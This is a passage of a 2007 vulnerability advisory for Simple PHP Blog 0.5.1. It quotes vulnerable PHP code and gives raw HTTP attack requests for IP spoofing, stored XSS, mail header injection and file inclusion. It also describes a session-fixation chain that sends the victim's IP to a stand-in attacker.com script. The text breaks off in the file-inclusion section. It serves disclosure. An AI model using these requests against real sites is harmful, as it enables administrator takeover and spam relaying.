|
Title: Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities=0D
Vendor: http://sourceforge.net/projects/sphpblog/=0D
=0D
Advisory: http://acid-root.new.fr/?0:15=0D
Author: DarkFig < gmdarkfig (at) gmail (dot) com >=0D
=0D
Released on: 2007/10/21=0D
Changelog: ----------=0D
L M H T=0D
Summary: Ip Spoofing [X] [_] [_] [X]=0D
Cross Site Scripting [X] [_] [_] [X]=0D
Session Fixation [X] [_] [_] [X]=0D
mail() CRLF Injection [X] [_] [_] [_]=0D
Local File Inclusion (+CSRF) [_] [X] [_] [X]=0D
File Deletion (+CSRF) [_] [X] [_] [X]=0D
File Upload Vulnerability [_] [_] [X] [X]=0D
Code Execution (+CSRF) [_] [_] [X] [X]=0D
=0D
Legend: L - Low risk M - Medium risk=0D
H - High risk T - Tested=0D
=0D
Risk level: Medium / High=0D
CVE: ----------=0D
=0D
=0D
=0D
I - IP SPOOFING=0D
=0D
The file "scripts/sb_communicate.php" contains the following=0D
code: =0D
=0D
19| function getIP() {=0D
20| if ( !empty ( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ) {=0D
21| $ip = $_SERVER[ 'HTTP_CLIENT_IP' ];=0D
22| }=0D
23| else if ( !empty ( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {=0D
24| $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];=0D
25| }=0D
26| else if ( !empty ( $_SERVER[ 'REMOTE_ADDR' ] ) ) {=0D
27| $ip = $_SERVER[ 'REMOTE_ADDR' ];=0D
28| }=0D
29| else if ( getenv( "HTTP_CLIENT_IP" ) ) {=0D
30| $ip = getenv( "HTTP_CLIENT_IP" );=0D
31| }=0D
32| else if ( getenv( "HTTP_X_FORWARDED_FOR" ) ) {=0D
33| $ip = getenv( "HTTP_X_FORWARDED_FOR" );=0D
34| }=0D
35| else if ( getenv( "REMOTE_ADDR") ) {=0D
36| $ip = getenv( "REMOTE_ADDR" );=0D
37| }=0D
38| else { =0D
39| $ip = "UNKNOWN";=0D
40| }=0D
41| return( $ip );=0D
42| }=0D
=0D
So, an attacker can spoof his IP, he just have to create=0D
an HTTP packet, add a special header, and send it. The=0D
HTTP packet will look's like this:=0D
=0D
GET /index.php HTTP/1.1\r\n=0D
Host: localhost\r\n=0D
X-Forwarded-For: 127.0.0.1\r\n=0D
Connection: keep-alive\r\n\r\n=0D
=0D
Later, we'll see how to gain the administrator's session=0D
id. Even if we got the good session id, there is a=0D
protection that "normally" don't permit to be logged in.=0D
Let's see a part of the file "scripts/sb_login.php":=0D
=0D
28| // Check if user is logged in.=0D
29| if ( isset( $_SESSION[ 'logged_in' ] ) &&=0D
| $_SESSION[ 'logged_in' ] == 'yes' ) {=0D
|=0D
30| if ( $_SESSION[ 'site_path' ] ====0D
| dirname($_SERVER[ 'PHP_SELF' ]) ) {=0D
|=0D
31| if ( $_SESSION[ 'ip' ] === getIP() ) {=0D
32| // User is logged in.=0D
33| return ( true );=0D
34| }=0D
35| }=0D
36| }=0D
=0D
Thanks to the getIP() function, if we know the=0D
administrator's IP (later we'll see how to get it easily),=0D
we can bypass the third condition.=0D
=0D
=0D
=0D
II - CROSS SITE SCRIPTING=0D
=0D
When a guest add a comment, an HTTP packet is sent to=0D
"comment_add_cgi.php". Before writing the comment into=0D
a file, there is some conditions, the first condition is=0D
that the IP sent with the POST method, must be the same=0D
as the IP returned by the getIP() function. Let's see=0D
the code:=0D
=0D
88| if ($ok) {=0D
89| // Verify that posted IP and actual IP matches.=0D
90| if ( getIP() === $_POST['user_ip'] ) {=0D
91| $ipMatches = true;=0D
92| } else {=0D
93| $ipMatches = false;=0D
94| $ok = false;=0D
95| $error_message = $lang_string[ 'error_no_match' ];=0D
96| }=0D
97| }=0D
=0D
This is useless, I don't know what the author wanted to=0D
do but this can be bypassed easily. After some conditions,=0D
the write_comment() function is called:=0D
=0D
219| $result = write_comment( $_POST[ 'y' ], $_POST[ 'm' ],=0D
| $_POST[ 'entry' ],=0D
220| $comment_name,=0D
221| $comment_email,=0D
222| $comment_url,=0D
223| $comment_text,=0D
224| $_POST[ 'user_ip' ],=0D
225| $moderationFlag,=0D
226| time() );=0D
=0D
This function is situated in "scripts/sb_comments.php".=0D
Let's see the data which will be stored in a file:=0D
=0D
519| // Save the file=0D
520| $save_data = array();=0D
521| $save_data[ 'VERSION' ] = $sb_info[ 'version' ];=0D
522| $save_data[ 'NAME' ] = clean_post_text( $comment_name );=0D
523| $save_data[ 'DATE' ] = $comment_date;=0D
524| $save_data[ 'CONTENT' ] = sb_parse_url( clean_post_text( $comment_text ) );=0D
|=0D
525| if ( $comment_email != '' ) {=0D
526| $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );=0D
527| }=0D
|=0D
528| if ( $comment_url != '' ) {=0D
529| $save_data[ 'URL' ] = clean_post_text( $comment_url );=0D
530| }=0D
|=0D
531| $save_data[ 'IP-ADDRESS' ] = $user_ip; // New 0.4.8=0D
532| $save_data[ 'MODERATIONFLAG' ] = $hold_flag;=0D
533| =0D
534| // Implode the array=0D
535| $str = implode_with_keys( $save_data );=0D
536| =0D
537| // Save the file=0D
538| $result = sb_write_file( $entryFile, $str ); =0D
=0D
The clean_post_text() function protect against XSS, it=0D
also replace a string separator (by its html equivalent)=0D
which is used when comment's data are extracted.=0D
This function is in the file "scripts/sb_formatting.php":=0D
=0D
13| function clean_post_text( $str ) {=0D
14| // Cleans post text input.=0D
15| //=0D
16| // Strip out and replace pipes with colons. HTML-ize entities.=0D
17| // Use charset from the language file to make sure we're only=0D
18| // encoding stuff that needs to be encoded.=0D
19| //=0D
20| // This makes entries safe for saving to a file (since the data=0D
21| // format is pipe delimited.)=0D
22| global $lang_string;=0D
23| $str = str_replace( '|', '|', $str );=0D
24| $str = @htmlspecialchars( $str, ENT_QUOTES, $lang_string[ 'php_charset' ] );=0D
25| =0D
26| return ( $str );=0D
27| }=0D
=0D
The clean_post_text() function isn't applied to the=0D
IP address which will be stored in the file. So this=0D
can be exploited to conduct XSS attack. The attacker=0D
will send an HTTP packet like this one:=0D
=0D
POST /comment_add_cgi.php HTTP/1.1\r\n=0D
Host: localhost\r\n=0D
Client-IP: \r\n=0D
Connection: keep-alive\r\n=0D
Content-Type: application/x-www-form-urlencoded\r\n=0D
Content-Length: 229\r\n\r\n=0D
y=07&m=07&entry=entry070727-161718&comment_name=HereMyName=0D
&comment_email=&comment_url=&user_ip==0D
&style_dropdown=--&comment_text=This+is+an+example+comment.=0D
&comment_capcha=571560&submit=%A0Post+Comment%A0\r\n\r\n=0D
=0D
The sender IP address can be only seen by a registered=0D
user. So the code sent by the attacker will be executed=0D
when a registered user will see the comments page.=0D
=0D
=0D
=0D
III - SESSION FIXATION=0D
=0D
In a session fixation attack, the attacker have to set=0D
the victim's session id. In our case, the attacker fix=0D
the user's session id, the victim which is logged in,=0D
will get logged out when the cookie will be set, then=0D
if the victim try to log in, the session id will be=0D
registered on the server. Let's see a part of the=0D
logged_in() function:=0D
=0D
11| function logged_in ( $redirect_to_login, $redirect_to_setup ) {=0D
12| =0D
13| // Turn off URL SIDs.=0D
14| ini_set('url_rewriter.tags','');=0D
15| ini_set('session.use_trans_sid', false);=0D
16| =0D
17| // Init the session.=0D
18| session_set_cookie_params(60*60*24*5);=0D
19| =0D
20| // Check if the user has a client-side cookie.=0D
21| if ( isset( $_COOKIE[ 'sid' ] ) ) {=0D
22| session_id($_COOKIE[ 'sid' ]);=0D
23| }=0D
24| =0D
25| // Start the session.=0D
26| session_start ();=0D
27| =0D
28| // Check if user is logged in.=0D
29| if ( isset( $_SESSION[ 'logged_in' ] ) &&=0D
| $_SESSION[ 'logged_in' ] == 'yes' ) {=0D
|=0D
30| if ( $_SESSION[ 'site_path' ] ====0D
| dirname($_SERVER[ 'PHP_SELF' ]) ) {=0D
|=0D
31| if ( $_SESSION[ 'ip' ] === getIP() ) {=0D
32| // User is logged in.=0D
33| return ( true );=0D
34| }=0D
35| }=0D
36| }=0D
=0D
After, the attacker, who knows the session id, just=0D
have to use it to be logged in as the victim's account.=0D
But in our case, he must also know the victim's IP.=0D
I'll demonstrate how to get administrator rights even=0D
if the victim has a protection against XSS (NoScript=0D
Firefox plugin for example). First, the attacker will=0D
fix the victim's session id by setting a cookie to=0D
the victim. Then he'll also force the victim's web=0D
browser to establish a connexion to a script that=0D
will get the victim's IP. Take a look at this schema:=0D
=0D
+----------------------------------------------------------+=0D
| The attacker post a comment using the XSS vulnerability. |=0D
| The code which will be executed on the client browser |=0D
| will set the "sid" cookie, it will also force the |=0D
| victim's web browser to send an HTTP packet to a script |=0D
| that will mail the victim's IP to the attacker. |=0D
+----------------------------------------------------------+=0D
|=0D
| +---------------------------------------------------+=0D
+--> | |=0D
| src=http://attacker.com/getip_and_mail.php> |=0D
+---------------------------------------------------+=0D
|=0D
+-------------------------------------------------+ |=0D
| The victim, which is logged in, have to see the | <--+=0D
| comments page. After saw it, the victim will be | =0D
| logged out. |=0D
+-------------------------------------------------+=0D
|=0D
| +------------------------------------------+=0D
+--> | The victim try to log in. Now that she's |=0D
| logged in, the session id set by the |=0D
| attacker is registered on the server. |=0D
+------------------------------------------+=0D
|=0D
+--------------------------------------------+ |=0D
| Now the attacker just have to send an HTTP |<--+=0D
| packet which contains the session id and a |=0D
| special header with the victim's IP. |=0D
| The attacker is logged in as the victim's |=0D
| account. |=0D
+--------------------------------------------+=0D
=0D
As you can see, even if the victim is protected against=0D
XSS, it's always possible to get adminitrator rights with=0D
this type of attack, we juste use the "meta" and "img" tags.=0D
=0D
=0D
=0D
IV - MAIL() CRLF INJECTION=0D
=0D
User's variables are not checked before be used in the mail()=0D
function. The file "comment_add_cgi.php" call the=0D
write_comment() function with the following parameters:=0D
=0D
214| $comment_name = sb_stripslashes($_POST['comment_name']);=0D
215| $comment_email = sb_stripslashes($_POST['comment_email']);=0D
216| $comment_url = sb_stripslashes($_POST['comment_url']);=0D
217| $comment_text = sb_stripslashes($_POST['comment_text']);=0D
218| =0D
219| $result = write_comment($_POST[ 'y' ],$_POST[ 'm' ],=0D
| $_POST['entry' ],=0D
220| $comment_name,=0D
221| $comment_email,=0D
222| $comment_url,=0D
223| $comment_text,=0D
224| $_POST[ 'user_ip' ],=0D
225| $moderationFlag,=0D
226| time() );=0D
=0D
Then the function clean_post_text() is applied to $comment_email.=0D
But this function doesn't protect against CRLF Injection, this=0D
will not replace the \r and \n chars. Take a look at the file=0D
"sb_comments.php":=0D
=0D
471| function write_comment($y,$m,$entry,$comment_name,$comment_email=0D
|=0D
525| if ( $comment_email != '' ) {=0D
526| $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );=0D
527| }=0D
|=0D
584| // Send the Email=0D
585| if ( array_key_exists( 'EMAIL', $save_data ) ) {=0D
586| sb_mail( $save_data[ 'EMAIL' ], $blog_config[ 'blog_email' ],=0D
| $subject, $body, false );=0D
587| } =0D
=0D
The goal of the sb_mail() function is to send mass emails.=0D
As you can see belows, there is no protection against=0D
$save_data[ 'EMAIL' ].=0D
=0D
45| function sb_mail ($from, $to, $subject, $body, $text=true, $priority=3) {=0D
|=0D
69| $headers .= 'From: ' . $from . " \r\n";=0D
70| $headers .= 'Reply-To: ' . $from . " \r\n";=0D
71| $headers .= 'Return-Path: ' . $from . " \r\n";=0D
|=0D
76| ini_set('sendmail_from', $from);=0D
77| for ( $j=0; $j < count($to_array); $j++ ) {=0D
78| $result = mail( $to_array[$j], sb_stripslashes($subject),=0D
| sb_stripslashes($body), $headers );=0D
79| }=0D
80| ini_restore('sendmail_from');=0D
=0D
So an attacker can perform a CRLF injection attack into the mail()=0D
function, it will probably be used by spammers.=0D
=0D
=0D
=0D
V - LOCAL FILE INCLUSION (+CSRF)=0D
=0D
There is an LFI vulnerability (admin rights needed)=0D
in the file "languages_cgi.php":=0D
=0D
76| if ( array_key_exists( 'store_data', $_GET ) ) {=0D
77| =0D
78| // Store all the data from language 2=0D
79| require_once('languages/' . $_GET[ 'lang2' ] . '/strings.php');=0D
=0D
This will require magic_quotes_gpc=Off. Because they use the=0D
GET method, there's a CSRF vulnerability too. For each new=0D
comments, a new text file is created. The structure of the file=0D
like this:=0D
=0D
VERSION|0.4.8=0D
|NAME|